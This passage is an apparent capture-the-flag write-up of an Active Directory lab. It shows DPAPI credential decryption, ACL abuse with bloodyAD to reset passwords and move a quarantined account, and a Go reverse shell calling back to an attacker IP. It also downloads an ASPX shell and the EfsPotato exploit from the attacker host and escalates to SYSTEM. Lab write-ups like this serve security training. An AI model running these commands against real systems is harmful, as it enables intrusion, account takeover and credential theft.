<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvfrKjg5PeVpaF43YN9p4%2Fgrafik.png?alt=media&#x26;token=05ce6571-c7a9-4c19-953a-4c52b49f3349" alt=""><figcaption></figcaption></figure>

From the email, we can gather that the `web_admin` account was moved to the `Quarantine OU` due to security concerns related to system activity. This was done because the web server allows ASP.NET `.aspx` uploads, which could potentially be abused with that account to escalate privileges or perform unauthorized actions.&#x20;

That's interesting, we'll keep that information in mind. We may need the `web_admin` account later to exploit this and place an ASPX web/reverse shell to extend our privileges.

```
cat message_sam.eml
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2GJaz8qKNT8npBZeq9p6%2Fgrafik.png?alt=media&#x26;token=9ac8ac5d-071e-4d69-95ce-ce10231458de" alt=""><figcaption></figcaption></figure>

{% code title="message\_sam.eml" overflow="wrap" expandable="true" %}

```
Subject: Notice: web_admin account moved to Quarantine OU

Hi Sam,

This is to inform you that the web_admin account has been moved to the Quarantine OU following security concerns identified during recent system activity.
The web server has ASP.NET enabled and file uploads of .aspx pages are possible; in combination with the web_admin account this creates a scenario could be used to escalate privileges or perform unauthorized actions.

No production impact has been confirmed, but the account has been isolated for forensic review as a precautionary measure.

If you require any temporary access or need updates regarding the investigation, please contact Emma Hayes (Helpdesk) at emma.hayes for coordination and approval.

Regards,
Administrator
IT Operations

(Ref: CHGWEBA
```

{% endcode %}

We continue and extract the contents from `clerk.john_ProfileBackup_0729.wim`. We create a folder and continue in the same way as for `sam_brooks`.

{% code overflow="wrap" expandable="true" %}

```
mkdir clerk_john
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
wimextract clerk.john_ProfileBackup_0729.wim 1 --dest-dir=./clerk_john
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQvipaIOzV8EMXwhG0rEA%2Fgrafik.png?alt=media&#x26;token=c804bfbe-1c8c-4ad1-a31d-ebf95030e007" alt=""><figcaption></figcaption></figure>

Here, too, we look at the folder structure and its contents using `tree`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0Na6LpLGHViYift6Z3Nm%2Fgrafik.png?alt=media&#x26;token=579b0df1-cfc3-44f3-9335-a46bbfcefd8f" alt=""><figcaption></figcaption></figure>

And we also found an email here on the desktop

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKCaS6M48nVfd3T5To1g3%2Fgrafik.png?alt=media&#x26;token=f2d7d1ea-fac4-40b6-8e19-1255a81444f1" alt=""><figcaption></figcaption></figure>

From the mail we can extract that `Emma Hayes` informs John that he can temporarily use her account while she is on vacation to handle urgent IT tasks, and the credentials will be shared via an approved channel. She instructs him to store them in Windows Credential Manager protected by DPAPI.

```
cat 2025-10-30-Emma-Hayes_to_Clerk-John_Temporary-Access_DPAPI.eml
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOKlZeil54rjOM9GyKYAp%2Fgrafik.png?alt=media&#x26;token=77289727-e51d-4fe9-9d8b-dcd6bc239b7f" alt=""><figcaption></figcaption></figure>

{% code title="2025-10-30-Emma-Hayes\_to\_Clerk-John\_Temporary-Access\_DPAPI.eml" overflow="wrap" expandable="true" %}

```
Subject: Temporary access while I’m on vacation

Hi John,

Quick heads-up: while I’m on vacation, you may use my account to handle urgent IT tasks.

Credentials
I’ll share the credentials with you via our approved channel. Please store them in Windows Credential Manager (Control Panel → User Accounts → Credential Manager → Windows Credentials → Add a Windows credential) and use them from there.

DPAPI note (why Credential Manager):
Windows Credential Manager protects saved credentials with DPAPI—they’re encrypted to your user profile (and this machine), so the password isn’t stored in plaintext. Still, treat it as sensitive: accounts with LOCAL SYSTEM / domain admin privileges can technically recover DPAPI-protected secrets, so only use it on trusted machines and profiles, and never export or sync these creds.

When I’m back
On my return, please remove the stored credential from Credential Manager. As discussed, your temporary membership in the “Remote Management” group will be revoked after my vacation.

Security reminders

Use the account only for work-related actions you’d normally escalate to IT.

Don’t save the password anywhere else or forward it.

Log off when finished and avoid keeping interactive sessions open.

Thanks for covering!

Best,
Emma Hayes
Helpdesk / IT Support
emma.hayes@city.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnudxpcoPUsCZQFEd7KCB%2Fgrafik.png?alt=media&#x26;token=8d308df3-5136-4710-9884-7c2a5e531c77" alt=""><figcaption></figcaption></figure>

We identify the Credential Manager blob and the corresponding DPAPI masterkey in the user's profile directories of the extracted image.&#x20;

Credential Manager blob:

{% code overflow="wrap" expandable="true" %}

```
AppData/Roaming/Microsoft/Credentials/03128079C6E14F37F5AEBDD69E344291
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fiarpno0mdoO1Mld5jous%2Fgrafik.png?alt=media&#x26;token=cb17d0ef-a5ca-4c78-841d-ef669ba7bf0b" alt=""><figcaption></figcaption></figure>

Master Key file:

{% code overflow="wrap" expandable="true" %}

```
AppData/Roaming/Microsoft/Protect/S-1-5-21-407732331-1521580060-1819249925-1103/de222e76-cb5d-418f-a1c2-7e4e9dfe29e1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKIwh3Sg9dCHUUIInKM5H%2Fgrafik.png?alt=media&#x26;token=9ab2367b-a70b-4742-9218-a42d7f1eb924" alt=""><figcaption></figcaption></figure>

We extract the masterkey using `dpapi.py masterkey` with John's SID and password.

{% code overflow="wrap" expandable="true" %}

```
dpapi.py masterkey -file clerk_john/AppData/Roaming/Microsoft/Protect/S-1-5-21-407732331-1521580060-1819249925-1103/de222e76-cb5d-418f-a1c2-7e4e9dfe29e1 -sid S-1-5-21-407732331-1521580060-1819249925-1103 -password REDACTED
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRJIxl47DPLqAIYXLA1bn%2Fgrafik.png?alt=media&#x26;token=e4706d88-8438-4be5-91e6-cad8c00932ca" alt=""><figcaption></figcaption></figure>

Next, we use that key with `dpapi.py credential` (a tool by impacket) to decrypt the stored credential file and extract the password of `emma.hayes`.

{% code overflow="wrap" expandable="true" %}

```
dpapi.py credential -file clerk_john/AppData/Roaming/Microsoft/Credentials/03128079C6E14F37F5AEBDD69E344291 -key REDACTED
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvKu7vl1iopuyJioX3q1m%2Fgrafik.png?alt=media&#x26;token=4f91c3fd-c9e1-4212-95d5-e61d7a0fd972" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec on SMB. We successfully authenticated.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtDk1ZLpUV8iaWn7420y3%2Fgrafik.png?alt=media&#x26;token=14bbaa9a-84ff-4b4e-a196-7414a6172c13" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
We could also retrieve the password of emma.hayes from the command line powershell history of clerk.john from

`AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLineConsoleHost_history.txt`
{% endhint %}

## BloodHound Enumeration III

We see that `emma.hayes` is in the helpdesk group.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2IoqQbbU9DlN9KmzkM4A%2Fgrafik.png?alt=media&#x26;token=4f4c5608-b136-492c-b06f-5291eb31c36b" alt=""><figcaption></figcaption></figure>

Furthermore, the user has `GenericWrite` permissions over the `quarantine` OU and `WriteDacl` permissions over the `citypos` OU. The user also has `GenericWrite` permissions over the `web_admin` user. (Remember, we may need this to compromise the user in the context of the running web application).

In addition to these, this user also has `WriteDacl` permissions for `rita.cho`, `alex.king`, and `sam.brooks`.

* **Quarantine OU (GenericWrite):** Allows us to modify attributes of the OU, such as adding or modifying objects inside it (e.g., moving users or changing settings).
* **citypos OU (WriteDacl):** Allows us to change the OU's permissions (ACL), potentially granting ourselves or others full control over objects within that OU.
* **web\_admin user (GenericWrite):** Allows us to modify the user’s attributes, such as changing the logon script, or adding SPNs for Kerberos abuse.
* **rita.cho, alex.king, sam.brooks (WriteDacl):** Allows us to modify their ACLs, enabling us to grant ourselves rights like **FullControl** or **ResetPassword** over those accounts.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrfJltWUnnojY95tRrJaX%2Fgrafik.png?alt=media&#x26;token=8ae18c5d-a99c-4096-ae77-d25f18ca4ed7" alt=""><figcaption></figcaption></figure>

We see that `rita.cho`, `alex.king`, and `sam.brooks` are part of OU `cityops`.&#x20;

This means that if we granted ourselves the `GenericAll` permission over the cityops OU via  `WriteDacl`, we would also have access to the users inside the OU, granting us `GenericAll` over them. This would allow us to reset their passwords and compromise those accounts..

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgX2k3kJuiBvfgzPZR6xl%2Fgrafik.png?alt=media&#x26;token=200c0951-b7fc-4e69-a73d-c3375aa36a8f" alt=""><figcaption></figcaption></figure>

As in the previously discovered email from images, we can confirm that `web_admin` is part of quarantine.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkRGiuyCyUFwzrfkw0I7U%2Fgrafik.png?alt=media&#x26;token=8cc68d67-efa4-4c06-8b5d-346290fbb3a7" alt=""><figcaption></figcaption></figure>

We also discover that `sam.brooks` is part of the `remote management users` group. We can therefore establish our initial foothold through that account.&#x20;

So, we will primarily link our potential attack vectors to obtain an interactive session through `sam.brooks`.

We will use `WriteDacl` to grant `GenericAll` permissions over the cityops OU and then change `sam.brooks`' password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FErdCCxPRiHsvzn5wHd3V%2Fgrafik.png?alt=media&#x26;token=553b818b-5fda-44fa-befb-8ffaf2d62f30" alt=""><figcaption></figcaption></figure>

## Shell as sam.brooks

We grant `GenericAll` rights over the `CityOps` OU, giving us full control over the object and its members, which allows actions such as resetting the passwords of users within that OU.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC-CC.city.local -d city.local -u emma.hayes -p 'REDACTED' add genericAll 'OU=CityOps,DC=city,DC=local' 'emma.hayes'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2d4QtxAxKRBSsfC9IN2O%2Fgrafik.png?alt=media&#x26;token=79563ed6-3787-42d4-aad8-c3aa790905c0" alt=""><figcaption></figcaption></figure>

Next, we reset the password of the user `sam.brooks`, which is possible because our `GenericAll` rights over the CityOps OU give us control over its member accounts.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -u emma.hayes -p 'REDACTED' -d 'city.local' --host 10.1.90.188 set password 'sam.brooks' 'Pwned123@!'
```

{% endcode %}

We test access using NetExec, but the account is disabled, something I have overlooked in the BloodHound data; however, since we have `GenericAll`, we can simply enable the account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7uEnTYmCF69nPa2nrMbN%2Fgrafik.png?alt=media&#x26;token=83bddf6a-5764-4f48-b4b4-68eef9a0b51e" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
nxc smb city.local -u sam.brooks -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F28uW0WbwCKJbDz2Vx1Yt%2Fgrafik.png?alt=media&#x26;token=69ea3734-7246-4598-99e4-cebc1f4c62e9" alt=""><figcaption></figcaption></figure>

We then enable the `sam.brooks` account by removing the `ACCOUNTDISABLE` flag from the UserAccountControl attribute using bloodyAD.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC-CC.city.local -d city.local -u emma.hayes -p 'REDACTED' remove uac 'sam.brooks' -f ACCOUNTDISABLE
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3VUyTRWLWcPVuEpmKTDZ%2Fgrafik.png?alt=media&#x26;token=220948d4-0d5d-4446-be9e-007e8e82c9b2" alt=""><figcaption></figcaption></figure>

We test again with NetExec and can now successfully authenticate with the enabled account.

{% code overflow="wrap" expandable="true" %}

```
nxc smb city.local -u sam.brooks -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtNbt7sJlHfT8mTN0L6BG%2Fgrafik.png?alt=media&#x26;token=da8d001e-c6cf-4309-8b0e-055552c5a1f1" alt=""><figcaption></figcaption></figure>

Next we establish a remote PowerShell session using WinRM with the compromised and find the users flag in the Desktop folder of `sam.brooks`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC-CC.city.local -u sam.brooks -p 'Pwned123@!'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBg2Hs9wvLwBlxVmf3GoN%2Fgrafik.png?alt=media&#x26;token=c691233a-e337-4df2-8866-e251c07e56a0" alt=""><figcaption></figcaption></figure>

## Shell as web\_admin

In our session as `sam.brooks`, we try to write to the `/inetpub/wwwroot` directory but are unsuccessful. We lack the permissions; we cannot place an aspx shell here, for now. So, as expected, we will need the `web_admin` account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FURLFo170we1ht108SR2i%2Fgrafik.png?alt=media&#x26;token=d00f6736-44d3-4e8d-85cf-257f792f6cf3" alt=""><figcaption></figcaption></figure>

The hashes obtained through targeted Kerberoasting were not crackable, and the Shadow Credentials attack was also unsuccessful.&#x20;

Both ways are depicted here in a similar fashion:&#x20;

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/arasaka#access-as-soulkiller.svc>" %}

Instead, we try to leverage our privileges by moving the `web_admin` account into the `CityOps` OU, where we previously granted ourselves `GenericAll`, allowing us to reset the `web_admin` password and take control of the account.

We prepare an LDIF file to move the `web_admin` user object from the `Quarantine` OU to the `CityOps` OU.&#x20;

{% code overflow="wrap" expandable="true" %}

```
cat <<EOF > move.ldif
dn: CN=Web Admin,OU=Quarantine,DC=city,DC=local
changetype: moddn
newrdn: CN=Web Admin
deleteoldrdn: 1
newsuperior: OU=CityOps,DC=city,DC=local
EOF
```

{% endcode %}

Next, we execute the LDAP modification to move the `web_admin` account from the `Quarantine` OU to the `CityOps` OU, placing it in a location where we have `GenericAll` control.

{% code overflow="wrap" expandable="true" %}

```
ldapmodify -H ldap://DC-CC.city.local \
-D 'emma.hayes@city.local' \
-w 'REDACTED' \
-f move.ldif
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrHWBWpAQIEgPCifu7kDP%2Fgrafik.png?alt=media&#x26;token=ee71f8cd-e3c6-4067-93d8-8fb1b913b42a" alt=""><figcaption></figcaption></figure>

After moving the account to the `CityOps` OU, we leverage our `GenericAll` privileges over that OU to reset the password of the `web_admin` user, allowing us to take control of the account.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -u emma.hayes -p '!Gemma4James!' -d 'city.local' --host 10.1.90.188 set password 'web_admin' 'Pwned123@!'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzFfTJduqOB2cnK71OFI2%2Fgrafik.png?alt=media&#x26;token=aa68b447-e614-49b5-a08a-80993d27ae25" alt=""><figcaption></figcaption></figure>

Next we verify the new credentials using NetExec, and we can successfully authenticate as `web_admin`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb city.local -u web_admin -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Freh5FFPF55Kyc1VoJrQg%2Fgrafik.png?alt=media&#x26;token=c06d1060-e68d-4cd1-9c9b-7fb31303710d" alt=""><figcaption></figcaption></figure>

Unfortunately, the user is not part of the `Windows Remote Management Users` group or the `Remote Desktop Users` group. Therefore, we cannot conveniently establish an interactive session.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHbrdoznC6LDCVP7bzfKz%2Fgrafik.png?alt=media&#x26;token=1b2db230-839b-4266-aaee-a0b1e1423d92" alt=""><figcaption></figcaption></figure>

What we can do, however, is start a reverse shell in the context of the user `web_admin` using `RunasCs.exe`.

For a more interactive shell, we use our go reverse shell, which has remained undetected so far.

{% code title="0xb0b.go" overflow="wrap" lineNumbers="true" %}

```go
package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.200.37.204:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}
```

{% endcode %}

We compile the reverse shell as follows on our Exegol instance:

{% code overflow="wrap" %}

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -o 0xb0b.exe 0xb0b.go
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMyHbKA6UB8iQTqPDdoRX%2Fgrafik.png?alt=media&#x26;token=d888ecfc-8201-4301-98dd-84f09357ab99" alt=""><figcaption></figcaption></figure>

Next, we run a listener to catch the reverse shell. For this purpose we use Penelope:

{% embed url="<https://github.com/brightio/penelope>" %}

```
penelope -p 443
```

The reverse shell binary prepares and RunasCs.exe in the current working folder, we reconnect (if interrupted) using evil-winrm to the target as `emma.hayes`.

We will place the binaries in a global folder accessible to all users. In this case, `C:\Temp`.

We upload the binaries.

{% code overflow="wrap" %}

```
upload RunasCs.exe
```

{% endcode %}

{% code overflow="wrap" %}

```
upload 0xb0b.exe
```

{% endcode %}

Next, we execute our reverse shell binary `0xb0b.exe` in the context of the `web_admin` user:

{% code overflow="wrap" expandable="true" %}

```
.\RunasCs.exe web_admin 'Pwned123@!' C:\Temp\0xb0b.exe
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FccNpaKtZ1GbTHTe5mSki%2Fgrafik.png?alt=media&#x26;token=54be4881-26ba-48dc-a6ad-c5ebcd5a00f1" alt=""><figcaption></figcaption></figure>

We receive a connection...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsCepviIe3QomVmfkvdtU%2Fgrafik.png?alt=media&#x26;token=8b014cec-c448-4b54-827c-3fdc50b4369f" alt=""><figcaption></figcaption></figure>

... we are `web_admin`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxLqSrKzzLJeP9kRDtCeR%2Fgrafik.png?alt=media&#x26;token=8cd54e64-6a1c-45cc-a106-8b5c864a999f" alt=""><figcaption></figcaption></figure>

## Shell as iis apppool\defaultapppool

For our reverse shell, we use the following ASPX file:

{% embed url="<https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx>" %}

In this file, we adjust the port and IP address. For clarity's sake, we choose a different port than before, even though Penelope supports and can capture multiple reverse shell on the same port.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSf8nHvZXvPJVnqfA5mFb%2Fgrafik.png?alt=media&#x26;token=89ab1473-7c22-4c59-9d50-71c804e20c3b" alt=""><figcaption></figcaption></figure>

Despite using Penelope, the upload function fails. We start a Python web server to place the reverse shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCIunqVKC898aKV8kBsdw%2Fgrafik.png?alt=media&#x26;token=0a7ea3fb-e45d-439d-943d-fc99a53ef979" alt=""><figcaption></figcaption></figure>

Next, we bring the shell to the machine using cURL alias.

{% code overflow="wrap" %}

```
curl http://10.200.37.204/shell.aspx -o shell.aspx
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FahgYTWOTffBVSYPuKBRj%2Fgrafik.png?alt=media&#x26;token=58ab1f8d-bc5d-46e4-901f-4c498bc85599" alt=""><figcaption></figcaption></figure>

Then we create a new listener using Penelope. Here using port `4446`.

{% code overflow="wrap" %}

```
penelope -p 4446
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtVPBkiDHVy7bYop4kJQa%2Fgrafik.png?alt=media&#x26;token=252b005b-94b2-476f-9338-704e4e9ec1ed" alt=""><figcaption></figcaption></figure>

Next, we call the reverse shell as follows:

{% code overflow="wrap" %}

```
http://city.local/shell.aspx
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6hbzwk5f4WAPnwsEu1g0%2Fgrafik.png?alt=media&#x26;token=d4df24f6-2610-4c22-b109-02777d3e85c2" alt=""><figcaption></figcaption></figure>

After a little longer, we get a connection. We are iis apppool\defaultapppool.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgjdfvOJxcQOx5VLcZASb%2Fgrafik.png?alt=media&#x26;token=6bdec0bf-65ac-4a48-8fbc-d0fab05716cc" alt=""><figcaption></figcaption></figure>

## Shell as NT AUTHORITY SYSTEM

We see that we, as this user, have the `SeImpersonatePivilige` permission active.

{% code overflow="wrap" %}

```
whoami /priv
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzGBDbFrk8wtfFHlGsSNu%2Fgrafik.png?alt=media&#x26;token=7c5cff2b-fb03-48f6-89ce-3a917ac04f74" alt=""><figcaption></figcaption></figure>

Since the `SeImpersonatePrivilege` is `enabled` we can make use of one of the infamous potato exploits. One of my favorite Potato exploits is the `EfsPotato` exploit. We can compile this on the machine if the `C#` compiler is available, and it should also go undetected.

{% embed url="<https://github.com/zcgonvh/EfsPotato>" %}

We check for a compiler at `C:\Windows\Microsoft.Net\Framework\` and see a `v4.0` version is persent. Nice.

```
dir C:\Windows\Microsoft.Net\Framework\
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxMszt9tN6WL0jMYvcqqu%2Fgrafik.png?alt=media&#x26;token=e5dbd987-aedd-4c26-96e3-17b5276bfb47" alt=""><figcaption></figcaption></figure>

The `csc.exe` to compile the exploit is present.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FykzExpEAg8sa2HPI9Gxt%2Fgrafik.png?alt=media&#x26;token=90241f87-e153-4ead-a514-c8bbaf12224f" alt=""><figcaption></figcaption></figure>

Next, we download the source file from our attacker machine, compile with the compiler found at `C:\Windows\Microsoft.Net\Framework\v4...` and execute it with the `whoami` command.

We download the file:

{% code overflow="wrap" %}

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('http://10.200.37.204/EfsPotato/EfsPotato.cs','./EfsPotato.cs')"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ftg5Lvul8nlq0VL0IXwdp%2Fgrafik.png?alt=media&#x26;token=14e159bc-465d-4087-82e5-a9f0829ed49c" alt=""><figcaption></figcaption></figure>

Compile the potato exploit:

{% code overflow="wrap" %}

```
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FX8MEmpSeIMRogPUcCvY9%2Fgrafik.png?alt=media&#x26;token=ae409769-a793-4bda-9e8d-ce475ad740ba" alt=""><figcaption></figcaption></figure>

Run `whoami` with the exploit. We are `NT authority\system`.

{% code overflow="wrap" %}

```
.\EfsPotato.exe whoami
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhF10U2V4sVQV8k0OPWuX%2Fgrafik.png?alt=media&#x26;token=4f293f7d-cd5c-4463-b7f5-aadd8eedbb03" alt=""><figcaption></figcaption></figure>

Using the exploit we run our reverse shell binary again, `Penelope` can handle multiple connections.

{% code overflow="wrap" %}

```
.\EfsPotato.exe "cmd.exe /c C:\Temp\0xb0b.exe"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAlCSV1uNQ5VBvevUTP7k%2Fgrafik.png?alt=media&#x26;token=5f33e94e-9638-4a48-bf36-9c8172485b06" alt=""><figcaption></figcaption></figure>

We receive another session on our Penelope instance running on port `4445`.

We can deattach our current session in this case with `CTRL + D`.

To interact with the new session we issue `session 2`.

We are `NT AUTHORITY SYSTEM` and find the final flag at `C:\Users\Administrator\root.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvhHFfxIzbwX7f5mr9beT%2Fgrafik.png?alt=media&#x26;token=a263bde3-bc96-4670-924f-67f5d0f4f4dc" alt=""><figcaption></figcaption></figure>

## Recommendation

Don't miss out on the full-fledged pentest report that DKob has created for the scenario!

{% embed url="<https://docs.dragkob.com/hacksmarter/city-council>" %}
